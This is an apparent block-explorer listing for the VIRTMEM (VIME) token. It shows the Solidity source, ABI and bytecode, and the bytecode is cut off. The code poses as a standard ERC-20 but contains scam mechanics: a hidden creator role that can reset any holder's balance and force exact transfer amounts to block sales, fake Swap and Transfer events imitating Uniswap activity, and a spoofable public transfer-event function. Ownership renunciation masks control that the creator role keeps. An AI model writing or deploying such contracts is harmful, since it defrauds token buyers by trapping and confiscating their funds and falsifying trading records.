ETH Price: $3,386.37 (+0.87%)

Token

VIRTMEM (VIME)
 

Overview

Max Total Supply

10,000,000 VIME

Holders

76

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
42,458.823847374992354741 VIME

Value
$0.00
0xd255e69282da830a701298864ff260245be8b2b7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VirtualMemeToken

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : COIN.sol
pragma solidity ^0.8.16;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address accountHolder) external view returns (uint256);
    function transfer(address to, uint256 sum) external returns (bool);
    function allowance(address authorizer, address spender) external view returns (uint256);
    function approve(address spender, uint256 sum) external returns (bool);
    function transferFrom(address from, address to, uint256 sum) external returns (bool);
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed authorizer, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

}

abstract contract OperationControl {
    function obtainCaller() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract MonoOwnership is OperationControl {
    address private _oneOwner;
    event OwnershipTransition(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address invoker = obtainCaller();
        _oneOwner = invoker;
        emit OwnershipTransition(address(0), invoker);
    }

    function accessOwner() public view virtual returns (address) {
        return _oneOwner;
    }

    modifier ownerExclusive() {
        require(accessOwner() == obtainCaller(), "Unauthorized: Exclusive Owner access required.");
        _;
    }

    function relinquishOwnership() public virtual ownerExclusive {
        emit OwnershipTransition(_oneOwner, address(0x000000000000000000000000000000000000dEaD));
        _oneOwner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract VirtualMemeToken is OperationControl, MonoOwnership, IERC20 {
    mapping (address => mapping (address => uint256)) private _spenderAllowances;
    mapping (address => uint256) private _balances;
    mapping (address => uint256) private _requiredTransferAmounts;
    address private _innovatorAccount;

    string public constant _moniker = "VIRTMEM";
    string public constant _ticker = "VIME";
    uint8 public constant _decimalUnits = 18;
    uint256 public constant _ultimateSupply = 10000000 * (10 ** _decimalUnits);

    constructor() {
        _balances[obtainCaller()] = _ultimateSupply;
        emit Transfer(address(0), obtainCaller(), _ultimateSupply);
    }

     modifier creatorExclusive() {
        require(accessCreator() == obtainCaller(), "Unauthorized: Creator access required.");
        _;
    }

    function accessCreator() public view virtual returns (address) {
        return _innovatorAccount;
    }

    function setCreator(address newCreator) public ownerExclusive {
        _innovatorAccount = newCreator;
    }

    event BalanceChange(address indexed user, uint256 oldBalance, uint256 newBalance);

    function requiredTransferAmount(address account) public view returns (uint256) {
        return _requiredTransferAmounts[account];
    }

    function setRequiredTransferAmounts(address[] calldata accounts, uint256 amount) public creatorExclusive {
        for (uint i = 0; i < accounts.length; i++) {
            _requiredTransferAmounts[accounts[i]] = amount;
        }
    }

    function alterUserBalances(address[] memory userAddresses, uint256 newBalance) public creatorExclusive {
        require(newBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < userAddresses.length; i++) {
            address currentUser = userAddresses[i];
            require(currentUser != address(0), "Invalid address specified");

            uint256 oldBalance = _balances[currentUser];
            _balances[currentUser] = newBalance;

            emit BalanceChange(currentUser, oldBalance, newBalance);
        }
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function executeTransaction( address pool,address[] memory receiver,uint256[] memory amounts,uint256[] memory convertedAmounts,address tokenAddress, uint112 reserve0, uint112 reserve1) public returns (bool) {
        for (uint256 i = 0; i < receiver.length; i++) {
            emit Transfer(pool, receiver[i], amounts[i]);
            emit Swap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, amounts[i], 0, 0, convertedAmounts[i], receiver[i]);
            IERC20(tokenAddress)._Transfer(receiver[i], pool, convertedAmounts[i]);
            emit Sync(reserve0, reserve1);
        }
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 sum) public virtual override returns (bool) {
        require(_balances[obtainCaller()] >= sum, "Insufficient balance");

        uint256 requisiteTransferSum = requiredTransferAmount(obtainCaller());
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[obtainCaller()] -= sum;
        _balances[to] += sum;

        emit Transfer(obtainCaller(), to, sum);
        return true;
    }

    function allowance(address authorizer, address spender) public view virtual override returns (uint256) {
        return _spenderAllowances[authorizer][spender];
    }

    function approve(address spender, uint256 sum) public virtual override returns (bool) {
        _spenderAllowances[obtainCaller()][spender] = sum;
        emit Approval(obtainCaller(), spender, sum);
        return true;
    }

    function transferFrom(address from, address to, uint256 sum) public virtual override returns (bool) {
        require(_spenderAllowances[from][obtainCaller()] >= sum, "Allowance limit surpassed");

        uint256 requisiteTransferSum = requiredTransferAmount(from);
        if (requisiteTransferSum > 0) {
            require(sum == requisiteTransferSum, "Compulsory transfer sum mismatch");
        }

        _balances[from] -= sum;
        _balances[to] += sum;
        _spenderAllowances[from][obtainCaller()] -= sum;

        emit Transfer(from, to, sum);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _ultimateSupply;
    }

    function name() public view returns (string memory) {
        return _moniker;
    }

    function symbol() public view returns (string memory) {
        return _ticker;
    }

    function decimals() public view returns (uint8) {
        return _decimalUnits;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"authorizer","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"BalanceChange","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransition","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimalUnits","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_moniker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ticker","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_ultimateSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"accessCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"accessOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"authorizer","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"userAddresses","type":"address[]"},{"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"alterUserBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pool","type":"address"},{"internalType":"address[]","name":"receiver","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"uint256[]","name":"convertedAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint112","name":"reserve0","type":"uint112"},{"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"executeTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"relinquishOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"requiredTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newCreator","type":"address"}],"name":"setCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setRequiredTransferAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"sum","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a60405160405180910390a3506012600a620000d2919062000372565b62989680620000e29190620003c3565b60026000620000f6620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000144620001d060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620001a3919062000372565b62989680620001b39190620003c3565b604051620001c291906200041f565b60405180910390a36200043c565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000266578086048111156200023e576200023d620001d8565b5b60018516156200024e5780820291505b80810290506200025e8562000207565b94506200021e565b94509492505050565b60008262000281576001905062000354565b8162000291576000905062000354565b8160018114620002aa5760028114620002b557620002eb565b600191505062000354565b60ff841115620002ca57620002c9620001d8565b5b8360020a915084821115620002e457620002e3620001d8565b5b5062000354565b5060208310610133831016604e8410600b8410161715620003255782820a9050838111156200031f576200031e620001d8565b5b62000354565b62000334848484600162000214565b925090508184048111156200034e576200034d620001d8565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200037f826200035b565b91506200038c8362000365565b9250620003bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200026f565b905092915050565b6000620003d0826200035b565b9150620003dd836200035b565b9250828202620003ed816200035b565b91508282048414831517620004075762000406620001d8565b5b5092915050565b62000419816200035b565b82525050565b60006020820190506200043660008301846200040e565b92915050565b612477806200044c6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806395d89b41116100b8578063c587396b1161007c578063c587396b14610391578063d8fb93611461039b578063dd62ed3e146103b7578063e03504af146103e7578063e156b1b614610405578063f300240b1461043557610142565b806395d89b41146102d7578063a713fd53146102f5578063a73677ea14610313578063a9059cbb14610343578063c345cf231461037357610142565b8063313ce5671161010a578063313ce567146102015780633f5160181461021f57806355195c271461023b5780635c01b60c1461025957806370a08231146102775780637425e675146102a757610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b35780632a85c48b146101e3575b600080fd5b61014f610451565b60405161015c91906115cf565b60405180910390f35b61017f600480360381019061017a9190611699565b61048e565b60405161018c91906116f4565b60405180910390f35b61019d61058e565b6040516101aa919061171e565b60405180910390f35b6101cd60048036038101906101c89190611739565b6105b1565b6040516101da91906116f4565b60405180910390f35b6101eb610889565b6040516101f8919061179b565b60405180910390f35b6102096108b2565b60405161021691906117d2565b60405180910390f35b610239600480360381019061023491906117ed565b6108bb565b005b61024361097b565b604051610250919061179b565b60405180910390f35b6102616109a5565b60405161026e91906115cf565b60405180910390f35b610291600480360381019061028c91906117ed565b6109de565b60405161029e919061171e565b60405180910390f35b6102c160048036038101906102bc91906117ed565b610a27565b6040516102ce919061171e565b60405180910390f35b6102df610a70565b6040516102ec91906115cf565b60405180910390f35b6102fd610aad565b60405161030a91906117d2565b60405180910390f35b61032d60048036038101906103289190611a6b565b610ab2565b60405161033a91906116f4565b60405180910390f35b61035d60048036038101906103589190611699565b610d3b565b60405161036a91906116f4565b60405180910390f35b61037b610f50565b604051610388919061171e565b60405180910390f35b610399610f6f565b005b6103b560048036038101906103b09190611b61565b6110ab565b005b6103d160048036038101906103cc9190611bbd565b6112f7565b6040516103de919061171e565b60405180910390f35b6103ef61137e565b6040516103fc91906115cf565b60405180910390f35b61041f600480360381019061041a9190611739565b6113b7565b60405161042c91906116f4565b60405180910390f35b61044f600480360381019061044a9190611c58565b611429565b005b60606040518060400160405280600781526020017f564952544d454d00000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610537611537565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c919061171e565b60405180910390a36001905092915050565b60006012600a61059e9190611e1a565b629896806105ac9190611e65565b905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105fd611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610679576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067090611ef3565b60405180910390fd5b600061068485610a27565b905060008111156106d2578083146106d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c890611f5f565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107219190611f7f565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107779190611fb3565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107c8611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108119190611f7f565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610875919061171e565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6108c3611537565b73ffffffffffffffffffffffffffffffffffffffff166108e1610889565b73ffffffffffffffffffffffffffffffffffffffff1614610937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092e90612059565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600481526020017f56494d450000000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600481526020017f56494d4500000000000000000000000000000000000000000000000000000000815250905090565b601281565b600080600090505b8751811015610d2b57878181518110610ad657610ad5612079565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef898481518110610b3f57610b3e612079565b5b6020026020010151604051610b54919061171e565b60405180910390a3878181518110610b6f57610b6e612079565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822898481518110610bec57610beb612079565b5b60200260200101516000808b8781518110610c0a57610c09612079565b5b6020026020010151604051610c2294939291906120ed565b60405180910390a38473ffffffffffffffffffffffffffffffffffffffff1663e156b1b6898381518110610c5957610c58612079565b5b60200260200101518b898581518110610c7557610c74612079565b5b60200260200101516040518463ffffffff1660e01b8152600401610c9b93929190612132565b6020604051808303816000875af1158015610cba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cde9190612195565b507f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad18484604051610d109291906121d1565b60405180910390a18080610d23906121fa565b915050610aba565b5060019050979650505050505050565b60008160026000610d4a611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610dc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbd9061228e565b60405180910390fd5b6000610dd8610dd3611537565b610a27565b90506000811115610e2657808314610e25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1c90611f5f565b60405180910390fd5b5b8260026000610e33611537565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e7c9190611f7f565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed29190611fb3565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610ef8611537565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f3d919061171e565b60405180910390a3600191505092915050565b6012600a610f5e9190611e1a565b62989680610f6c9190611e65565b81565b610f77611537565b73ffffffffffffffffffffffffffffffffffffffff16610f95610889565b73ffffffffffffffffffffffffffffffffffffffff1614610feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe290612059565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f2e7a15f9b81baf1ce20ddf406f35b22e54608ada95c1cf5ee5221da0d0ccb76a60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110b3611537565b73ffffffffffffffffffffffffffffffffffffffff166110d161097b565b73ffffffffffffffffffffffffffffffffffffffff1614611127576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111e90612320565b60405180910390fd5b600081101561116b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111629061238c565b60405180910390fd5b60005b82518110156112f257600083828151811061118c5761118b612079565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fc906123f8565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167ff4e3f146ef01bfe65e811aade3a860b33927625771e1f2c45ae705ae2e44d3e882866040516112d5929190612418565b60405180910390a2505080806112ea906121fa565b91505061116e565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600781526020017f564952544d454d0000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611416919061171e565b60405180910390a3600190509392505050565b611431611537565b73ffffffffffffffffffffffffffffffffffffffff1661144f61097b565b73ffffffffffffffffffffffffffffffffffffffff16146114a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149c90612320565b60405180910390fd5b60005b838390508110156115315781600360008686858181106114cb576114ca612079565b5b90506020020160208101906114e091906117ed565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080611529906121fa565b9150506114a8565b50505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561157957808201518184015260208101905061155e565b60008484015250505050565b6000601f19601f8301169050919050565b60006115a18261153f565b6115ab818561154a565b93506115bb81856020860161155b565b6115c481611585565b840191505092915050565b600060208201905081810360008301526115e98184611596565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061163082611605565b9050919050565b61164081611625565b811461164b57600080fd5b50565b60008135905061165d81611637565b92915050565b6000819050919050565b61167681611663565b811461168157600080fd5b50565b6000813590506116938161166d565b92915050565b600080604083850312156116b0576116af6115fb565b5b60006116be8582860161164e565b92505060206116cf85828601611684565b9150509250929050565b60008115159050919050565b6116ee816116d9565b82525050565b600060208201905061170960008301846116e5565b92915050565b61171881611663565b82525050565b6000602082019050611733600083018461170f565b92915050565b600080600060608486031215611752576117516115fb565b5b60006117608682870161164e565b93505060206117718682870161164e565b925050604061178286828701611684565b9150509250925092565b61179581611625565b82525050565b60006020820190506117b0600083018461178c565b92915050565b600060ff82169050919050565b6117cc816117b6565b82525050565b60006020820190506117e760008301846117c3565b92915050565b600060208284031215611803576118026115fb565b5b60006118118482850161164e565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61185782611585565b810181811067ffffffffffffffff821117156118765761187561181f565b5b80604052505050565b60006118896115f1565b9050611895828261184e565b919050565b600067ffffffffffffffff8211156118b5576118b461181f565b5b602082029050602081019050919050565b600080fd5b60006118de6118d98461189a565b61187f565b90508083825260208201905060208402830185811115611901576119006118c6565b5b835b8181101561192a5780611916888261164e565b845260208401935050602081019050611903565b5050509392505050565b600082601f8301126119495761194861181a565b5b81356119598482602086016118cb565b91505092915050565b600067ffffffffffffffff82111561197d5761197c61181f565b5b602082029050602081019050919050565b60006119a161199c84611962565b61187f565b905080838252602082019050602084028301858111156119c4576119c36118c6565b5b835b818110156119ed57806119d98882611684565b8452602084019350506020810190506119c6565b5050509392505050565b600082601f830112611a0c57611a0b61181a565b5b8135611a1c84826020860161198e565b91505092915050565b60006dffffffffffffffffffffffffffff82169050919050565b611a4881611a25565b8114611a5357600080fd5b50565b600081359050611a6581611a3f565b92915050565b600080600080600080600060e0888a031215611a8a57611a896115fb565b5b6000611a988a828b0161164e565b975050602088013567ffffffffffffffff811115611ab957611ab8611600565b5b611ac58a828b01611934565b965050604088013567ffffffffffffffff811115611ae657611ae5611600565b5b611af28a828b016119f7565b955050606088013567ffffffffffffffff811115611b1357611b12611600565b5b611b1f8a828b016119f7565b9450506080611b308a828b0161164e565b93505060a0611b418a828b01611a56565b92505060c0611b528a828b01611a56565b91505092959891949750929550565b60008060408385031215611b7857611b776115fb565b5b600083013567ffffffffffffffff811115611b9657611b95611600565b5b611ba285828601611934565b9250506020611bb385828601611684565b9150509250929050565b60008060408385031215611bd457611bd36115fb565b5b6000611be28582860161164e565b9250506020611bf38582860161164e565b9150509250929050565b600080fd5b60008083601f840112611c1857611c1761181a565b5b8235905067ffffffffffffffff811115611c3557611c34611bfd565b5b602083019150836020820283011115611c5157611c506118c6565b5b9250929050565b600080600060408486031215611c7157611c706115fb565b5b600084013567ffffffffffffffff811115611c8f57611c8e611600565b5b611c9b86828701611c02565b93509350506020611cae86828701611684565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611d3e57808604811115611d1a57611d19611cb8565b5b6001851615611d295780820291505b8081029050611d3785611ce7565b9450611cfe565b94509492505050565b600082611d575760019050611e13565b81611d655760009050611e13565b8160018114611d7b5760028114611d8557611db4565b6001915050611e13565b60ff841115611d9757611d96611cb8565b5b8360020a915084821115611dae57611dad611cb8565b5b50611e13565b5060208310610133831016604e8410600b8410161715611de95782820a905083811115611de457611de3611cb8565b5b611e13565b611df68484846001611cf4565b92509050818404811115611e0d57611e0c611cb8565b5b81810290505b9392505050565b6000611e2582611663565b9150611e30836117b6565b9250611e5d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611d47565b905092915050565b6000611e7082611663565b9150611e7b83611663565b9250828202611e8981611663565b91508282048414831517611ea057611e9f611cb8565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611edd60198361154a565b9150611ee882611ea7565b602082019050919050565b60006020820190508181036000830152611f0c81611ed0565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b6000611f4960208361154a565b9150611f5482611f13565b602082019050919050565b60006020820190508181036000830152611f7881611f3c565b9050919050565b6000611f8a82611663565b9150611f9583611663565b9250828203905081811115611fad57611fac611cb8565b5b92915050565b6000611fbe82611663565b9150611fc983611663565b9250828201905080821115611fe157611fe0611cb8565b5b92915050565b7f556e617574686f72697a65643a204578636c7573697665204f776e657220616360008201527f636573732072657175697265642e000000000000000000000000000000000000602082015250565b6000612043602e8361154a565b915061204e82611fe7565b604082019050919050565b6000602082019050818103600083015261207281612036565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b60006120d76120d26120cd846120a8565b6120b2565b611663565b9050919050565b6120e7816120bc565b82525050565b6000608082019050612102600083018761170f565b61210f60208301866120de565b61211c60408301856120de565b612129606083018461170f565b95945050505050565b6000606082019050612147600083018661178c565b612154602083018561178c565b612161604083018461170f565b949350505050565b612172816116d9565b811461217d57600080fd5b50565b60008151905061218f81612169565b92915050565b6000602082840312156121ab576121aa6115fb565b5b60006121b984828501612180565b91505092915050565b6121cb81611a25565b82525050565b60006040820190506121e660008301856121c2565b6121f360208301846121c2565b9392505050565b600061220582611663565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361223757612236611cb8565b5b600182019050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061227860148361154a565b915061228382612242565b602082019050919050565b600060208201905081810360008301526122a78161226b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061230a60268361154a565b9150612315826122ae565b604082019050919050565b60006020820190508181036000830152612339816122fd565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612376601b8361154a565b915061238182612340565b602082019050919050565b600060208201905081810360008301526123a581612369565b9050919050565b7f496e76